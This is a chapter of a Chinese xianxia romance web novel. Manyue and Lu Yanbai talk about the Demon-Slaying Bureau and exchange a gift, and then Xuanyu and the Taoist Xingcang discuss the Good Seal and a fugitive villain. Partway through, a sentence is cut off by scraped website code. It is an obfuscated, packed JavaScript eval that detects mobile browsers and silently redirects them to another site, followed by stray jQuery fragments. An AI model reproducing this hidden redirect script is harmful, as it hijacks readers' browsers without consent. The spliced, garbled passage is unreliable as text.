落在眼角的吻轻得像一片雪花,痒痒的。
满月的心仿佛被一根羽毛拂过。这种陌生的感受让她一时之间连眼睛都忘了闭,就这样一瞬不瞬盯着他,心砰砰直跳,不知道该推开,还是该选择沉溺。
陆宴白松开她,看她这副呆呆的模样,笑了起来,捏捏她的脸颊道:“真的不需要我帮你吗?”
他指的还是杀掉除妖司那三人的事。相比于先前的戏谑调侃,这一次他显然是认真的。
他还真是对这种事乐此不疲。
满月如梦初醒,她连忙在胸前比了个大大的叉,神色尤为严肃:“不可以!绝对不可以!”
陆宴白挑挑眉,意兴阑珊道:“好吧。”
可他越是这种满不在乎的态度,她就越不放心。
满月扯住他的衣袖,微微用力,迫使他看着自己的眼睛:“你要对我保证,你不许去,答应我。”
陆宴白被她严肃的表情逗笑了,他懒懒应了一声,学着她的语气,拖长了调子:“好——我答应你。”
满月才不管他是不是在调侃她,反正他亲口答应了。
她松了口气。心神稍定,这时才又余力思考别的事。
虽然满月才刚来盛京没多久,但也从其他小妖那里道听途说了很多除妖司的事情,对除妖司在盛京权势滔天的地位印象深刻。如今的除妖司势头正盛,远非原著遭到削弱后的光景,纵然是有着国观之名又根基深厚的玄都观,也得暂避其风头。
陆宴白折了他们的法器,与直接了断对方的性命也没有什么两样。
满月不无担忧的看着他:“那你怎么办?你今天做了那样的事,他们肯定不会善罢甘休,必定要找你麻烦。”
陆宴白眉眼弯弯,唇角勾起一个愉悦的弧度:“正好,求之不得。”
满月:“……”
她差点忘了这人的恶劣性子。
不过他这种唯恐天下不乱的态度,反而让满月的担忧减弱了不少。
她冷静下来,许多先前被忽略的疑虑浮上心头,渐渐清晰起来。
首先是大妖璇玉。按照阮阮他们的说法,以前大妖并非经常外出,唯独这一段时日行踪成谜。而且时间节点就在满月来到万妖街前不久,时机非常微妙。还有戒律堂的长老,似乎也被指派外出,否则不可能被人这么砸场子都不现身。满月都快要怀疑自己是不是有什么类似柯南的体质了,仿佛随着她的到来,总会牵引出许多意料不到的情况。
其次,是除妖司的人。虽然他们向来行事嚣张,一贯与万妖街多有摩擦,但今晚的所作所为还是未免太过分了,给人一种完全不把万妖街放在眼中的狂妄感。可就算他们不惧怕万妖街,难道连璇玉也不放在眼里吗?璇玉若真动怒,绝不是他们能承受的。
这非常不合情理。
两件事一结合,不由让满月担心起来,是不是外界发生了什么重大的变故,才会让除妖司的人如此有恃无恐。他们肯定是知道了什么内部的消息。今天晚上闹事的都是地字门的人,已接近除妖司上层的权力中心,或许正是在某种纵容或授意下,他们才敢如此肆无忌惮,只是一时酒意上头,失了分寸,才不小心过了火。
满月抬起头,目光穿过巷口,望向远处似乎依旧平静的夜空,轻声问道:“外面……最近发生了什么事吗?”
陆宴白看出她有心事:“怎么了?”
“我觉得很奇怪。”满月重又看向他,“你不觉得太不正常了吗?除妖司的那些人。”
陆宴白嗯了一声,既然她主动开口问,他也不瞒着她:“最近确实出了很多与死气有关的案子。”
“和万妖街有关吗?”
陆宴白略一颔首,但又摇了摇头,态度模棱两可,很是微妙:“有关,也无关。确实有些线索指向这里,但很隐晦,不能完全确定。”
……那她也太倒霉了吧。
宛如衰神附体,怎么走到哪儿都有大事发生。
满月对不久前的堕仙一事仍心有余悸,听陆宴白这样讲,她不免感到头痛起来。
但为今之计也只能是兵来将挡水来土掩了,毕竟她已经成了万妖街的一员,有了割舍不下的东西。
夜色愈深,主街上来往的游人也更少了。满月想起自己出来有一段时间了,害怕再不回去会被蝶影担心,于是准备回去。
她执意要目送陆宴白离开再走,陆宴白知道她这是怕他再去找除妖司那三人的麻烦,觉得好笑,但也没说什么,遂了她的愿。
“对了。”临离别时满月想起什么,犹豫了下,从自己的乾坤袋中取出一样东西攥在手心,“上次说的……谢礼。”
陆宴白愣了愣,这才想起上次确实半真半假地同她讨要过谢礼。其实那只是在逗她,她还真记住了。
“是我自己编的,就算不好看,你也……不许说。”满月上前几步,羞赧地将东西塞进他手中。
陆宴白摊开手,一条七彩绳编织的流苏手绳静静躺在掌心,以黑白蓝三色丝绒为主调,交织出简约而耐看的纹路,尾端的流苏随着夜风轻轻晃动。
满月在三危山长大,对人间女孩会的那些东西一概不通,只能循着前世的记忆编了一条手链,原本她就很忐忑,现在见他凝神细看,更是紧张得屏住了呼吸。
陆宴白垂眸,修长的手指灵活地解开绳扣,将其系在了自己的左手腕上。
他抬起手腕对着月光看了看,嘴角微扬,眼底漾起真切的笑意:“很漂亮,我很喜欢。”
得到他肯定的答复,满月却不知为何,脸颊一下子烫起来,连耳根都染上了绯色。
满月生怕被他看到自己这副样子,只能假装无事发生地伸手推了推他:“你该回去了。”
等他走后,满月才松了口气,她摸摸自己仍在发烫的耳朵,嘴角却不受控制地怎么都压不下去。
太没出息了。
满月拍拍脸颊,这才也转身快步朝着斋阁的方向去。
*
山上,孤亭中,石桌残局未完,两盏灯笼在檐下轻轻摇曳,将斑驳的光影投在纵横交错的棋盘上。
年岁已长的白发道人执子沉吟,指尖黑子将落未落间,他不必抬头,只听风中细微的动静,便知故人已至。
“你来了。”
璇玉落在亭外,玄色衣衫被山风拂动,衬得她面色比月色更冷。
她步入亭中,不曾看过棋局一眼,目光直直锁定在行藏道人身上。
“铜镜案的主谋是不是就藏在万妖街?”
没有任何寒暄,她一上来就直入正题。
多年相交,行藏道人早对她这副直来直往的脾性习以为常。他将黑子落定,方才不紧不慢抬起头,笑意温和:“你既已猜到,又何必来问。”
世人皆知行藏道人极为善卜,天下少有他算不到的事,可自从妖邪之乱他的爱徒程衣故去后,他便再不肯轻易泄露天机。若非走投无路,璇玉绝不会登门求问。
他言下之意,已经
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603474|178149||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肯定了她心中的那个答案。
璇玉眸中寒光一闪,手猛地拍在石桌上,若非行藏道人先一步荡开灵力,只怕石桌已然裂开。
“这几个月,和死气有关的案子层出不穷,除妖司却迟迟查不到源头。”璇玉的声音里压着怒意,“如今连万妖街都被牵扯其中。”
这是她绝不能容忍的。
行藏道人静静看着她,周身带着海纳百川的入定气韵,眸中不起丝毫波澜。
其实他们都很知道这背后的始作俑者是何人。逃亡这么多年,他始终藏匿得很好,不曾露出任何破绽,可是这几个月,却突然按捺不住似的频频有所动作,很难说不是因为那件事。
“善印。”行藏道人缓缓道出这两个字,“他已经得到消息了。”
照道理来说,善印一事本该只有他和璇玉两个知晓,只可能是在路上泄露了消息。
根据程南楼的说辞,京中最早开始有风吹草动,正是在他们遇到七邪之一的陈昇之后。而陈昇手里的鬼矢与操纵死气的功法,分明来源于那个人。
阴长生。
阴长生的目的一直都很明确,他只想要激发杀印打开传闻之中的引魂渊,为此可以不惜一切代价。
杀印被激发,是不可抵挡的大势,这些年他们苦心寻找善印,正是为了化解杀印即将带来的灾厄。
“姓陆那小子可不是善茬。”璇玉双手交叠抱于胸前,“这些年你费尽心思瞒着他,不让他察觉到真相。如今阴长生已经行动,你恐怕再瞒不了多久,一旦他发现……”
说到这里,璇玉停了下来。
一想到有可能发生什么,她不免皱起了眉头。
后果将不堪设想。
行藏道人却没有太大的反应,只拾起藤盒中的一子,转而问道:“满月姑娘如何?”
“她体内的善印被封,加之这些年无人引导,妖脉已经断绝。”璇玉道,“不过这都不足为虑。她已经开始修习我传授给她的心诀,炼化封印指日可待。唯有一样,我放心不下。”
“哦?”行藏道人抬眸,“何事?”
“她现在缺少一样至关重要的东西,纵然炼化了封印,只怕也无法接受试炼。”
“什么东西?”
“决心。”璇玉眼睛都不眨一下,“向死而生的决心。她自幼的生长环境让她成了那样一副随遇而安的性子,要想通过善印的试炼可不太容易。”
太容易放弃,太容易妥协,太容易适应环境。这既是让她过去在三危山能活下来的原因,也是她得到善印认可的阻碍。
不经过善印的试炼,她是无法真正成为善印之主的。
“她悟性极佳,心性也纯良,可毕竟在那样的地方长大,锐气早已消磨。”璇玉摇了下头,“我怕她难以担此重任。”
行藏道人却只笑了笑:“我倒觉得,你小瞧了她。”
璇玉一愣,看着他:“何以见得?”
行藏道人没有立即回答,他将执起的白子轻轻落在棋盘某处,原本陷入僵局的棋局,因为这一子而路转回峰,豁然开朗。
“柔能克刚,弱以胜强。她看似妥协,实则是在险恶的环境中自发习得了以退为进的智慧。”行藏道人望向亭外无边的夜色,“那孩子经历的一切磨难,我相信,时机一到,必然会成为她最深的依仗。”
璇玉顺着他的目光一道看去,夜幕之下,乌云正悄然汇聚。
一场新的风暴,似乎正在看不见的地方慢慢酝酿。